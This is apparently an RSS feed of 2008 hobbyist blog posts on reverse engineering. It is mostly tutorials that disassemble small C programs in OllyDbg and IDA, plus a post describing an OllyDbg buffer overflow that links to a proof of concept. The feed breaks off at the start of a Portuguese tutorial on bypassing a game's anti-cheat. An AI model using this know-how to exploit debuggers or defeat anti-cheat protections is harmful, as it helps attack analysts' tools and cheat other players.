And the thread for this (with posts containing &#8220;solutions&#8221;): <a href="http://forum.cheatengine.org/viewtopic.php?t=289821">Here</a><br />
Cheat Engine 5.4: <a href="http://www.cheatengine.org">Here</a></p>
<p>Have fun &#38; Good luck ;D</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Binary Analysis Basics Part II]]></title>
<link>http://nickfnord.wordpress.com/2008/10/01/binary-analysis-basics-part-ii/</link>
<pubDate>Wed, 01 Oct 2008 17:59:26 +0000</pubDate>
<dc:creator>nickfnord</dc:creator>
<guid>http://nickfnord.wordpress.com/2008/10/01/binary-analysis-basics-part-ii/</guid>
<description><![CDATA[In the previous blog, we broke down a couple of simple C programs that we compiled and dissassembled]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>In the previous blog, we broke down a couple of simple C programs that we compiled and dissassembled, analysing how such constructs as if-then-else and basic comparisons look when dissassembled. In this one we do the same thing with another fundamental construct:  Arrays.</p>
<p><strong><span style="color:#888888;">You will need:</span></strong></p>
<p>A C compiler for windows (I&#8217;m using LCC: <a href="http://www.cs.virginia.edu/~lcc-win32/">http://www.cs.virginia.edu/~lcc-win32/</a>)<br />
Ollydbg (<a href="http://www.ollydbg.de/">http://www.ollydbg.de/</a>)<br />
IDA demo or free (<a href="http://www.datarescue.be/downloaddemo.htm">http://www.datarescue.be/downloaddemo.htm</a>)<br />
A good text editor, or you can use the IDE which comes with LCC.<br />
Knowledge of basic programming structure (you don&#8217;t have to know C as I&#8217;ll explain the relevant bits).<br />
Basic knowledge of assembly language (just have a read through PCASM first and keep it as a reference).<br />
some familiarity with OllyDbg<br />
knowledge of Hex</p>
<p>The following C code adds a few more complexities that are essential to understand when reversing.</p>
<p><code>#include &#60;stdio.h&#62;<br />
#include &#60;string.h&#62;<br />
int main(void)<br />
{<br />
char name[20];<br />
char rname[] = "NickFnord";</p>
<p>printf("Enter Name:\n");<br />
scanf("%s",name);</p>
<p>printf("\nThe Array of characters that you entered was: %s\n",name);<br />
printf("Name array starts at: %d\n",name);<br />
printf("first char of array has ascii value of: %d\n",name[0]);</p>
<p>if (strcmp(name, rname) == 0)<br />
{<br />
printf("Hello World\n");<br />
}<br />
else<br />
{<br />
printf("No Greeting for you\n");<br />
}</p>
<p>return 0;<br />
}<br />
</code><br />
The first important thing to understand if you&#8217;re new to programming or have only worked in higher level languages, is that strings, such as the two declared above, are actually stored as an array of characters. The second thing to note is that we cannot do a direct comparison of the entire string.  because it is effectively not an actual string now, but an array of characters, we must either compare each character individually, or call a function which does the same.  So we have included the string.h library in order to have access to the strcmp function.  Also note that when you are running this program, the scanf function will only read the first word you type, i.e. it will stop reading your input when it finds a white space.  we could use the &#8220;gets&#8221; function in order to capture multiple words but we&#8217;ll look at that next time.</p>
<p>First, before opening Olly, run the program to see what it outputs.</p>
<p><code>c:\stuff\C&#62;hello3<br />
Enter Name:<br />
NickFnord</code></p>
<p>The Array of characters that you entered was NickFnord<br />
Name array starts at: 1245020<br />
first char of array has ascii value of: 78<br />
Hello World<br />
<code><br />
c:\stuff\C&#62;hello3</code></p>
<p>So let&#8217;s take a look under the hood.</p>
<p><code>004012D4  /$ 55             PUSH EBP<br />
004012D5  &#124;. 89E5           MOV EBP,ESP<br />
004012D7  &#124;. 83EC 20        SUB ESP,20<br />
004012DA  &#124;. 56             PUSH ESI<br />
004012DB  &#124;. 57             PUSH EDI<br />
004012DC  &#124;. 8D7D E2        LEA EDI,DWORD PTR SS:[EBP-1E]<br />
004012DF  &#124;. 8D35 A0B04000  LEA ESI,DWORD PTR DS:[40B0A0]<br />
004012E5  &#124;. B9 0A000000    MOV ECX,0A<br />
004012EA  &#124;. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]</code></p>
<p>At line 004012DC we can see that the stack address of EBP-1E is moved into EDI.  Your mileage may vary, but for me, EBP is 0012FF70 and so EDI will be 0012FF52 after that command has been run. This is half-way between two entries on the stack displayed by Olly and as we will find out later, this will store the variable declared at the beginning of the program, containing &#8220;NickFnord&#8221;.</p>
<p>You&#8217;ll notice that at the second LEA on line 004012DF, the program has taken the memory address referring to the constant &#8220;NickFnord&#8221; and placed it in the register. You can follow it in the dump to see it allong with other constants that have been stored in the program&#8217;s data segment. The command &#8220;MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]&#8221; transfers the byte referred to by the address stored at ESI into the address stored at EDI but the REP command in front causes this command to be repeated, using the register ECX as a counter and incrementing EDI and ESI each time around.  As the ECX register was set to 0A (or 10 in decimal) in the previous command, we know that it will repeat the MOVS command 10 times moving allong the dump one byte each time and therefore take 10 bytes starting from the memory address stored in ESI (0040B0A0) and place them in turn in the stack, which will now look something like this:</p>
<p><code>0012FF50   694E1EE0  àNi<br />
0012FF54   6E466B63  ckFn<br />
0012FF58   0064726F  ord.<br />
0012FF5C   0012FF70  pÿ.<br />
0012FF60   0012FF6C  lÿ.<br />
0012FF64   7C910208  ‘&#124;  ntdll.7C910208</code></p>
<p>The next bit is nothing too complicated:</p>
<p><code>004012EC  &#124;. 68 48B14000    PUSH hello3.0040B148                     ; /format = "Enter Name:"<br />
004012F1  &#124;. E8 8B760000    CALL hello3._printf                      ; \_printf<br />
004012F6  &#124;. 83C4 04        ADD ESP,4<br />
004012F9  &#124;. 8D7D EC        LEA EDI,DWORD PTR SS:[EBP-14]<br />
004012FC  &#124;. 57             PUSH EDI</code></p>
<p>This prints out the string stored at 0040B148 and then uses the LEA command to prepare the way for the user&#8217;s input.  We&#8217;ll notice that the address refered to by EBP-14 is 0012FF5C, which is immediately after the space that was used to store the variable containing NickFnord. This is where our input string will be stored.  As this is now contained in the EDI register, we can guess that the scanf function below will send its output into the EDI register.</p>
<p><code>004012FD  &#124;. 68 45B14000    PUSH hello3.0040B145                     ; /format = "%s"<br />
00401302  &#124;. E8 A1430000    CALL hello3._scanf                       ; \_scanf<br />
00401307  &#124;. 83C4 08        ADD ESP,8<br />
0040130A  &#124;. 8D7D EC        LEA EDI,DWORD PTR SS:[EBP-14]<br />
0040130D  &#124;. 57             PUSH EDI                                 ; /&#60;%s&#62;<br />
0040130E  &#124;. 68 12B14000    PUSH hello3.0040B112                     ; &#124;format = "The Array of characters that you entered was: %s"<br />
00401313  &#124;. E8 69760000    CALL hello3._printf                      ; \_printf<br />
00401318  &#124;. 83C4 08        ADD ESP,8</code></p>
<p>When running through this time, I have put &#8220;ZZZZZZZZZZ&#8221; into the input value to make it a bit easier to distinguish between this value and the constant NickFnord declared earlier.  After this section of code, our stack should look like this:</p>
<p><code>0012FF50   694E1EE0  àNi<br />
0012FF54   6E466B63  ckFn<br />
0012FF58   0064726F  ord.<br />
0012FF5C   5A5A5A5A  ZZZZ<br />
0012FF60   5A5A5A5A  ZZZZ<br />
0012FF64   7C005A5A  ZZ.&#124;</code></p>
<p>So the Scanf function will take the input value and insert it into the allocated memory space and append a null terminator.  You can see that the constant &#8220;NickFnord&#8221; is also appended by a null character.  This fact becomes significant later on when we look at buffer overflows.  What happens if we put in more than the allocated 20 characters? What happens if we overwrite the return address stored in 0012FF74 and cause it to point elsewhere? Our program should really validate the length of the user input information prior to copying it into memory. More on that another time though.</p>
<p>Next bit then:</p>
<p><code>0040131B  &#124;. 8D7D EC        LEA EDI,DWORD PTR SS:[EBP-14]<br />
0040131E  &#124;. 57             PUSH EDI                                 ; /&#60;%d&#62;<br />
0040131F  &#124;. 68 F8B04000    PUSH hello3.0040B0F8                     ; &#124;format = "Name array starts at: %d"<br />
00401324  &#124;. E8 58760000    CALL hello3._printf                      ; \_printf<br />
00401329  &#124;. 83C4 08        ADD ESP,8<br />
0040132C  &#124;. 0FBE7D EC      MOVSX EDI,BYTE PTR SS:[EBP-14]<br />
00401330  &#124;. 57             PUSH EDI                                 ; /&#60;%d&#62;<br />
00401331  &#124;. 68 CCB04000    PUSH hello3.0040B0CC                     ; &#124;format = "first char of array has ascii value of: %d"<br />
00401336  &#124;. E8 46760000    CALL hello3._printf                      ; \_printf<br />
0040133B  &#124;. 83C4 08        ADD ESP,8</code></p>
<p>You&#8217;ll notice that in this section, the LEA commands again references the start of the user entered array.  This is redundant as this address has already been loaded into EDI.  however you&#8217;ll notice the MOVSX command is also referencing the same location in memory, just that this time it is referencing the data rather than loading the effective address and so we know from the above section in the stack that it will return to the user the value 5A or 90 in decimal which is the ASCII value for &#8220;Z&#8221;.</p>
<p><code>0040133E  &#124;. 8D7D E2        LEA EDI,DWORD PTR SS:[EBP-1E]<br />
00401341  &#124;. 57             PUSH EDI                                 ; /s2<br />
00401342  &#124;. 8D7D EC        LEA EDI,DWORD PTR SS:[EBP-14]            ; &#124;<br />
00401345  &#124;. 57             PUSH EDI                                 ; &#124;s1<br />
00401346  &#124;. E8 29790000    CALL &#60;JMP.&#38;CRTDLL.strcmp&#62;                ; \strcmp<br />
0040134B  &#124;. 83C4 08        ADD ESP,8<br />
0040134E  &#124;. 83F8 00        CMP EAX,0<br />
00401351  &#124;. 75 0F          JNZ SHORT hello3.00401362</code></p>
<p>This section prepares the data &#8220;NickFnord&#8221; and the data that we entered by loading the addresses of them into EDI and the pushing them one after another onto the stack.  You&#8217;ll notice something very handy about Olly in that it performs some of the calculations for you in the bit under the program window so when EIP is pointing at 0040133E for example (i.e. about to execute this line) you will notice that Olly tells you the stack address being referred to by EBP-1E, and the null-terminated array stored at that address as well as the current value of EDI:</p>
<p><code>Stack address=0012FF52, (ASCII "NickFnord")<br />
EDI=0000005A</code></p>
<p>This makes debugging a whole lot quicker as you don&#8217;t have to manually calculate addresses if you want to know what part of the stack to watch.</p>
<p>at the second LEA command your window should display:<br />
<code><br />
Stack address=0012FF5C, (ASCII "ZZZZZZZZZZZZZZZZZZZZ")<br />
EDI=0012FF52, (ASCII "NickFnord")</code></p>
<p>Showing that it is now loading the string that we entered.</p>
<p>The call to strcmp compares the two arrays of characters and if we step to the next command we see that it has placed a &#8220;1&#8243; into the EAX register rather than just changing the zero flag. as a result we merely need to compare the EAX register to a hardcoded 0 in order to set the appropriate flag for jumping.  Once again, in these types of comparisons, 0 = no difference and 1 =  difference. so when a 1 is returned from the strcmp function we know that the strings are different. and since 1&#60;&#62;0 the zero flag is not set and the program execution jumps.  Run the program through again and insert the correct string to prove it for yourself and to see it in action.</p>
<p><code>00401353  &#124;. 68 BFB04000    PUSH hello3.0040B0BF                     ; /format = "Hello World"<br />
00401358  &#124;. E8 24760000    CALL hello3._printf                      ; \_printf<br />
0040135D  &#124;. 83C4 04        ADD ESP,4<br />
00401360  &#124;. EB 0D          JMP SHORT hello3.0040136F<br />
00401362  &#124;&#62; 68 AAB04000    PUSH hello3.0040B0AA                     ; /format = "No Greeting for you"<br />
00401367  &#124;. E8 15760000    CALL hello3._printf                      ; \_printf<br />
0040136C  &#124;. 83C4 04        ADD ESP,4<br />
0040136F  &#124;&#62; B8 00000000    MOV EAX,0<br />
00401374  &#124;. 5F             POP EDI<br />
00401375  &#124;. 5E             POP ESI<br />
00401376  &#124;. C9             LEAVE<br />
00401377  \. C3             RETN</code></p>
<p>The remainder of the program is fairly straightforward &#8211; as in the previous excersise we see an if-test in action.</p>
<p>Once again, it may be instructive to open the program in IDA to see how it displays it.  I&#8217;d recommend running through the progam a couple of times in IDA also to become familiar with it in addition to Olly as they each have their advantages.</p>
<p><a href="http://nickfnord.wordpress.com/files/2008/10/helloworld3ida.jpg"><img src="http://nickfnord.wordpress.com/files/2008/10/helloworld3ida.jpg?w=225" alt="" title="helloworld3ida" width="225" height="300" class="alignnone size-medium wp-image-19" /></a></p>
<p>Now at this point I was going to compile this C program using another tool and see if there were any differences in the resultant binary, but after downloading Microsoft visual C++, removing its firefox plugin that I didn&#8217;t ask for, spending 20 mins hunting around for the damn compile button before realising that I needed to &#8220;create a solution&#8221; before compiling and then not being able to compile it because it doesn&#8217;t recognise the strcmp function I gave it up.  perhaps I&#8217;ll do that another time&#8230;..</p>
<p>Once again, I hope this has been educational.  Feel free to leave comments!</p>
<p>Nick.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Binary Analysis Basics]]></title>
<link>http://nickfnord.wordpress.com/2008/09/30/binary-analysis-basics/</link>
<pubDate>Tue, 30 Sep 2008 20:58:48 +0000</pubDate>
<dc:creator>nickfnord</dc:creator>
<guid>http://nickfnord.wordpress.com/2008/09/30/binary-analysis-basics/</guid>
<description><![CDATA[One thing I have found over the couple of times where I have dabbled in reversing, is a common learn]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>One thing I have found over the couple of times where I have dabbled in reversing, is a common learning strategy for newbies is to get straight into trying crackmes without having a basic understanding of what the hell they&#8217;re doing. Guided by poorly written &#8220;tuts&#8221; or tutorials, often sprinkled liberally with shocking spelling, the tendancy is to try to glean information from seeing it done.  From a random sampling of tutorials found on www.crackmes.de and other places I have found a very large portion of them do not fully explain what is going on and why the reverser chose to put the breakpoint where he/she did. For example, things like: &#8220;I put a brake pnt ther becoz my spidy sense told me to lol, u will haf to figar out why 4 urself&#8221; happens supprisingly often. Alternatively the tutorial writer doesn&#8217;t write a tutorial, merely posts the answer without any guidance on how to arrive at it.  This is fine if you have some experience, but for a newbie it can certainly be frustrating, resulting the newbie being able to at best go through the motions layed out in the tutorial but without understanding what is being done.  Don&#8217;t get me wrong, there are some exelent tutorials out there, written by people who care that people are reading and following allong, but they are few and far between.</p>
<p>So in order to avoid this, the strategy that I initially started with this time arround was to learn to program in assembly and then go from there. I had hoped that having a solid understanding of assembly language would assist in reversing.   This has also caused me great frustration to my suprise. The thing is, code written by a human, regardless of the language is compiled by a computer into the most efficient form according to the type of compiler and the optimising options set and sometimes there may be a trade off between things like speed of execution, memory usage and size of the final executable.  Certain mathematical operations, for example may be switched arround and handled in completely different ways than a human would logically expect, and comparisons and jumps changed accordingly or code interleaved in order to get more efficiency of execution.</p>
<p>The end result is that the code that the CPU executes may look entirely different from the code that the human wrote.  And my conclusion therefore is that if your goal is to learn to reverse, teaching yourself to write programs with assembly language will only be usefull up to a certain point.</p>
<p>The ultimate goal of any reversing session is to understand the program flow enough that you could at least write pseudocode describing its functionality.  This level of understanding may not be necessary in all cases depending on your reasons for reversing, but it should still be the goal that you aim for from the start. And so as you will never have the hand-written code to look at, it is more profitable to learn what certain higher level logic looks like after it has been compiled, linked and then dissassembled.</p>
<p>So what I am doing in this post and possibly subsequent posts is going through at a very basic level, the break down of simple instructions as viewed via a dissassembler.</p>
<p>You will need:<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
A C compiler for windows (I&#8217;m using LCC: <a href="http://www.cs.virginia.edu/~lcc-win32/">http://www.cs.virginia.edu/~lcc-win32/</a>)<br />
Ollydbg (<a href="http://www.ollydbg.de/">http://www.ollydbg.de/</a>)<br />
IDA demo or free (<a href="http://www.datarescue.be/downloaddemo.htm">http://www.datarescue.be/downloaddemo.htm</a>)<br />
A good text editor, or you can use the IDE which comes with LCC.<br />
Knowledge of basic programming structure (you don&#8217;t have to know C as I&#8217;ll explain the relevant bits).<br />
Basic knowledge of assembly language (just have a read through PCASM first and keep it as a reference).<br />
some familiarity with OllyDbg<br />
knowledge of Hex</p>
<p>First we&#8217;ll start with the standard Hello World program.</p>
<p>I&#8217;m using the command line rather than the gui of LCC because I find it more flexible to work with when just compiling small amounts of code like this.</p>
<p>Install LCC -&#62; right click on &#8220;my computer&#8221; -&#62; properties -&#62; Advanced tab -&#62; environment variables -&#62; edit the &#8220;path&#8221; variable and put the directory that you have installed lcc into at the beginning of the line followed by a semicolon e.g. &#8220;C:\lcc\bin;&#8221;.<br />
Create a file called &#8220;compile.bat&#8221; in the directory that you will be working in and put the following in it:</p>
<p><code>lcc -o %1.obj %1.c<br />
lcclnk -o %1.exe %1.obj</code></p>
<p>Type the following C program into your chosen text editor and save it as hello.c</p>
<p><code>#include &#60;stdio.h&#62;<br />
int main(void)<br />
{<br />
printf("Hello World\n");<br />
return 0;<br />
}</code></p>
<p>now you can just type into the command line</p>
<p><code>compile hello<br />
</code><br />
and it will create a file called hello.exe</p>
<p>This classic program obviously prints &#8220;Hello World&#8221; out to the screen.  But in order for this seemingly simple task to be accomplished there is far more going under the hood, specifically printf is a function contained in the stdio library which will display information to the screen.  in the completed binary, the entirety of the printf code will be integrated into the binary.</p>
<p>So lets open it up in ollydbg.</p>
<p>As you can see, there&#8217;s quite a bit more stuff in there apart from what we&#8217;ve written. Notice that you get placed at what Ollydbg thinks is the entry point for the program. The purpose of this example is not to go through this, but to determine what the compiler has done with our code.</p>
<p>Scroll down until you get to the following:</p>
<p><code>004012D4  /$ 68 A0A04000    PUSH hello.0040A0A0                      ; /format = "Hello World"<br />
004012D9  &#124;. E8 DB5E0000    CALL hello._printf                       ; \_printf<br />
004012DE  &#124;. 83C4 04        ADD ESP,4<br />
004012E1  &#124;. B8 00000000    MOV EAX,0<br />
004012E6  \. C3             RETN</code></p>
<p>This section of the code pushes the data stored in 0040A0A0 onto the stack and then calls the function printf. You can see what is stored in 0040A0A0 by right clicking on the command in ollydbg and selecting &#8220;follow in dump -&#62; Immediate Constant&#8221;. This information is set when the program is opened. you can See exactly what the _printf function does by stepping into it during runtime (set a break point at that line and hit f7 to step into the code).</p>
<p>Next we&#8217;ll add a bit more complexity and demonstrate a few more things at once:</p>
<p><code>#include &#60;stdio.h&#62;<br />
int main(void)<br />
{<br />
int num;</p>
<p>if (2==2)<br />
{<br />
printf("Hello World\n");<br />
}<br />
else<br />
{<br />
printf("No Greeting for you\n\n");<br />
}</p>
<p>printf("enter a number\n");<br />
scanf("%d",&#38;num);<br />
if (num==2)<br />
{<br />
printf("number = 2\n");<br />
}<br />
else<br />
{<br />
printf("number &#60;&#62; 2\n");<br />
}</p>
<p>printf("The address of number is: %d and the value is %d",&#38;num, num);</p>
<p>return 0;<br />
}<br />
</code><br />
So lets compile this and open it up in olly.</p>
<p>Again we&#8217;ve been placed at the entry point to the program. Scroll down until you see the following:</p>
<p><code>004012D4   $ 55             PUSH EBP<br />
004012D5   . 89E5           MOV EBP,ESP<br />
004012D7   . 51             PUSH ECX<br />
004012D8   . 57             PUSH EDI<br />
004012D9   . 68 FFB04000    PUSH hello2.0040B0FF                     ; /format = "Hello World"<br />
004012DE   . E8 76760000    CALL hello2._printf                      ; \_printf<br />
004012E3   . 83C4 04        ADD ESP,4<br />
004012E6   . EB 0D          JMP SHORT hello2.004012F5<br />
004012E8   . 68 E9B04000    PUSH hello2.0040B0E9                     ; /format = "No Greeting for you"<br />
004012ED   . E8 67760000    CALL hello2._printf                      ; \_printf<br />
004012F2   . 83C4 04        ADD ESP,4<br />
</code><br />
You can see here that the compiler has made a decision that our if test is not necessary and insted of performing a compare on 2=2, it opts to just always execute the call to prinf with &#8220;Hello World&#8221; and then puts a JMP command to always skip over the &#8220;No Greeting for you&#8221; section.  This is a very small, trivial example of the kinds of unexpected things that you&#8217;ll find in dissassembled code.  very likely no programmer would compare to constants like we have, but you can see that the program has been omptimised in a way that may not immediately make sense if we don&#8217;t have the source code handy.</p>
<p><code>004012F5   &#62; 68 D9B04000    PUSH hello2.0040B0D9                     ; /format = "enter a number"<br />
004012FA   . E8 5A760000    CALL hello2._printf                      ; \_printf<br />
004012FF   . 83C4 04        ADD ESP,4<br />
00401302   . 8D7D FC        LEA EDI,DWORD PTR SS:[EBP-4]<br />
00401305   . 57             PUSH EDI<br />
00401306   . 68 D6B04000    PUSH hello2.0040B0D6                     ; /format = "%d"<br />
0040130B   . E8 70430000    CALL hello2._scanf                       ; \_scanf<br />
00401310   . 83C4 08        ADD ESP,8<br />
00401313   . 837D FC 02     CMP DWORD PTR SS:[EBP-4],2</code></p>
<p>This section takes a number entered by the user and compares it.  It&#8217;s worth it at this point to set a breakpoint at 004012F5 and step through the program paying close attention to the registers and the stack.</p>
<p>The LEA command is taking the value stored in the address EBP-4 and the following push command is inserting the address value at the top of the stack.</p>
<p>You&#8217;ll notice the number you enter is placed in the stack at 0012FF70, yours may be different, but it will always be in the address referenced by the value of EBP-4  so in hex 0012FF70 &#8211; 4 = 0012FF6C.</p>
<p>The stack now looks like this</p>
<p><code>0012FF60   0040B0D6  Ö°@.  ASCII "%d"<br />
0012FF64   0012FF6C  lÿ.<br />
0012FF68   7C910208  ‘&#124;  ntdll.7C910208<br />
0012FF6C   00000002  ...<br />
0012FF70  /0012FFC0  Àÿ.</code></p>
<p>olly moves the view of the stack according to what is in the ESP register (which was just incremented by 8 in the previous code), you can scroll up and right-click -&#62; lock stack in order to stop it from moving while debugging.</p>
<p>The memory address 0011FF64 now stores the value of the address that contains the number that we just entered.  Something that is important to note at the moment is the difference between a reference to the data stored in a register and reference to the data stored at the memory address that the register holds. They are very different.</p>
<p>For example, having steped through the code to the CMP statement, we would have seen that the ADD ESP,8 command immediately added 8 to the value stored in the ESP register. The CMP command however is not referring to the data stored in EBP, nor is it refering to (the value of the data stored in EBP)-4, but it is referencing the data stored at the memory address in the stack that equals the value of (EBP minus 4).  confusing?</p>
<p>If the data stored in EBP is &#8220;0012FF70&#8243;, then any refference to EBP without square brackets refers to the value 0012FF70.<br />
if the data stored in the memory address 0012FF70 is &#8220;0012FFC0&#8243;, then a reference to [EBP] with the square brackets is referring to the value &#8220;0012FFC0&#8243;.<br />
A reference to [EBP-4] first takes the number 4 away from the value stored in EBP, and then finds the value stored at the resultant memory address.  in this case EBP contains the hex value &#8220;0012FF70&#8243; and so EBP-4 = &#8220;0012FF6C&#8221;.  if the data stored at the 0012FF6C stack address is &#8220;2&#8243;, then a reference to [EBP-4] = &#8220;2&#8243;.</p>
<p>I hope this is clear because it is a very important concept, and one that may not be clear to people who have only programmed in higher level languages (like myself I&#8217;m ashamed to admit).  Once again, I recommend that you step through this in Ollydbg paying close attention to the registers and the stack.</p>
<p>Moving right allong then, the rest of the code is as follows:</p>
<p><code>00401317   . 75 0F          JNZ SHORT hello2.00401328<br />
00401319   . 68 CAB04000    PUSH hello2.0040B0CA                     ; /format = "number = 2"<br />
0040131E   . E8 36760000    CALL hello2._printf                      ; \_printf<br />
00401323   . 83C4 04        ADD ESP,4<br />
00401326   . EB 0D          JMP SHORT hello2.00401335<br />
00401328   &#62; 68 BDB04000    PUSH hello2.0040B0BD                     ; /format = "number &#60;&#62; 2"<br />
0040132D   . E8 27760000    CALL hello2._printf                      ; \_printf<br />
00401332   . 83C4 04        ADD ESP,4</code></p>
<p>Here you see the basics of an if-test at work.  As we know, the previous command (CMP DWORD PTR SS:[EBP-4],2) effectively performed the operation [EBP-4]-2, and instead of storing the result, it sets the ZF and CF flags according to the outcome.  All we care about for this one is if the difference is zero (ZF flag set to 1).  If it is, the program will carry on with the next command, if it is not zero it will Jump (JNZ = Jump if not zero) by setting the next execution address (stored in the EIP register) to 00401328 and then continue on.</p>
<p>If we enter 2 into the program, the comparison will be zero and the program will proceed to tell us that the &#8220;number = 2&#8243;.  after it has finished doing this, it will proceed to the next command after the end of the alternate branch (the LEA command), if it takes the &#8220;number &#60;&#62; 2&#8243; path, then once it has finished, it just continues with the next command.</p>
<p>If you are following closely at this point, you will notice that there are some unnecessary redundancies in this code.  there is a duplicated &#8220;ADD ESP, 4&#8243;, only one is ever executed due to the if-test so why not remove one and place the other at the end of the if-test?  you&#8217;ll also notice at this point that the EDI register already contains the value stored in [EBP-4] and so this second LEA command is unnecessary.  There are certain strange people in this world who actually care about this sort of thing and they actually have competitions in order to try to reduce the size of executables as much as possible by removing redundancies like this and being as efficient as possible&#8230;.  for the moment, it&#8217;s just an interesting point to note:  compilers are not absolutely perfect.</p>
<p>Next, we get to our final section of the code.</p>
<p><code>00401335   &#62; FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; /&#60;%d&#62;<br />
00401338   . 8D7D FC        LEA EDI,DWORD PTR SS:[EBP-4]             ; &#124;<br />
0040133B   . 57             PUSH EDI                                 ; &#124;&#60;%d&#62;<br />
0040133C   . 68 A0B04000    PUSH hello2.0040B0A0                     ; &#124;format = "The address of number is: %d and the value is %d"<br />
00401341   . E8 17760000    CALL hello2._printf                      ; \_printf<br />
00401346   . 83C4 0C        ADD ESP,0C<br />
00401349   . B8 00000000    MOV EAX,0<br />
0040134E   . 5F             POP EDI<br />
0040134F   . C9             LEAVE<br />
00401350   . C3             RETN</code></p>
<p>I just added this section of the code to ram home the difference between data stored in registers and the value stored in the memory location stored by the registers.</p>
<p>The first line here is fairly simple &#8211; it gets the value that we entered and puts it at the top of the stack, preparing it for being displayed to the user.  The second line gets the value of the memory address stored at EBP-4 and puts it into the EDI register.  the following line pushes it onto the stack and we&#8217;re ready to go.</p>
<p>If you take it one step further, the stack looks like this:</p>
<p><code>0012FF5C   0040B0A0  &#124;format = "The address of number is: %d and the value is %d"<br />
0012FF60   0012FF6C  &#124;&#60;%d&#62; = 12FF6C (1245036.)<br />
0012FF64   00000002  \&#60;%d&#62; = 2</code></p>
<p>You&#8217;ll notice that the numeral 2 was placed on the stack first followed by the memory address dispite the fact that the address is displayed first in the output string.  You can step into the CALL hello2._printf command (by hitting f7 in olly) to see what happens with these values.</p>
<p>You&#8217;ll notice that the program, when it completes it&#8217;s execution, will output &#8220;The address of number is: 125036&#8243;  if you convert this to hex, you&#8217;ll get 12FF6C, which is the memory address where our entered number is stored.</p>
<p>So there&#8217;s only one more thing remaining here.  We&#8217;ve seen what Olly does with the code, let&#8217;s have a quick peek at what IDA pro has to offer:</p>
<p><a href="http://nickfnord.wordpress.com/files/2008/09/helloworld2ida.jpg"><img class="alignleft size-medium wp-image-12" title="helloworld2ida" src="http://nickfnord.wordpress.com/files/2008/09/helloworld2ida.jpg?w=280" alt="" width="280" height="300" /></a></p>
<p>As you can see, IDA puts together a nice graphical program flow &#8211; it is very easy to see where in the code various jumps go to.  you&#8217;ll also notice that it appears to use a different method of dissassembly, or at least it displays the dissassembled code in a different manner than olly does.</p>
<p>these two lines in olly:<br />
<code>00401335   &#62; FF75 FC        PUSH DWORD PTR SS:[EBP-4]                ; /&#60;%d&#62;<br />
00401338   . 8D7D FC        LEA EDI,DWORD PTR SS:[EBP-4]             ; &#124;</code></p>
<p>are somewhat simplified in IDA as:</p>
<p><code>push [ebp+var_4]<br />
lea  edi, [ebp+var_4]</code></p>
<p>with var_4 being declared at the start as a constant.</p>
<p>I hope this has been helpful &#8211; Please feel free to leave a comment, if I&#8217;ve made any mistakes in the above, please let me know &#8211; I&#8217;m always trying to learn more <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Next time we&#8217;ll do the same thing again looking at array structures.</p>
<p>Cheers!<br />
Nick.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OllyDbg v1.10 &amp; ImpRec v1.7f Buffer overflow]]></title>
<link>http://korupt.wordpress.com/2008/07/09/ollydbg-v110-imprec-v17f-buffer-overflow/</link>
<pubDate>Wed, 09 Jul 2008 16:57:45 +0000</pubDate>
<dc:creator>KOrUPt</dc:creator>
<guid>http://korupt.wordpress.com/2008/07/09/ollydbg-v110-imprec-v17f-buffer-overflow/</guid>
<description><![CDATA[Ok I&#8217;m sure some of you have already heard of this, but I thought I&#8217;d post about it for ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Ok I&#8217;m sure some of you have already heard of this, but I thought I&#8217;d post about it for those that haven&#8217;t,  mainly as a heads-up <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>From what I&#8217;ve read this is a simple buffer overflow that exploits OllyDbg&#8217;s assumption that a function export name can only be 256 characters in length, needless to say it didn&#8217;t take someone long to create an export with a name of around 1024 characters and potentially execute their shellcode once the DLL that contained the export name had been loaded inside OllyDbg&#8230;</p>
<p>PoC code has been written that is able to exploit this vulnerability and execute shellcode(See the link below).</p>
<p>PoC code(fasm): http://www.milw0rm.com/exploits/6031</p>
<p>A lot of us still use OllyDbg V1.10 so this could be used as an Anti-debugging trick, but if this is exploited with malicious intent we could be seeing some annoyances when it comes malware analysis. What are your views on this?</p>
<p>Again I look forward to reading your comments.</p>
<p>KOrUPt.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[el tema de ingenieria inversa]]></title>
<link>http://apuromafo.wordpress.com/2008/07/04/el-tema-de-ingenieria-inversa/</link>
<pubDate>Fri, 04 Jul 2008 20:45:59 +0000</pubDate>
<dc:creator>apuromafo</dc:creator>
<guid>http://apuromafo.wordpress.com/2008/07/04/el-tema-de-ingenieria-inversa/</guid>
<description><![CDATA[un tema de nunca acabar el conocimiento nos hace libre, pero esa libertad siempre y cuando no afecte]]></description>
<content:encoded><![CDATA[un tema de nunca acabar el conocimiento nos hace libre, pero esa libertad siempre y cuando no afecte]]></content:encoded>
</item>
<item>
<title><![CDATA[Para os cheaters do WarRock...]]></title>
<link>http://ivopereira.wordpress.com/2008/06/03/para-os-cheaters-do-warrock/</link>
<pubDate>Tue, 03 Jun 2008 18:37:16 +0000</pubDate>
<dc:creator>ivopereira</dc:creator>
<guid>http://ivopereira.wordpress.com/2008/06/03/para-os-cheaters-do-warrock/</guid>
<description><![CDATA[Isto é para aqueles que jogam WarRock, e gostam de fazer um jogo em nível de desigualdade. Tenho de ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Isto é para aqueles que jogam WarRock, e gostam de fazer um jogo em nível de desigualdade. Tenho de admitir que já pertenci a essa <em>equipa</em>, e hoje, por acaso quando navegava na net encontrei um tutorial de como fazer um simples bypass para cheats/hacks para o WarRock.<br />
Aqui se segue o tutorial traduzido para português:</p>
<blockquote><p>Ok vamos começar, as coisas que precisas são:<br />
IDA Pro ou OLLYDBG (mas vamos usar o IDA PRO neste tutorial)<br />
Cheat Engine 5.3<br />
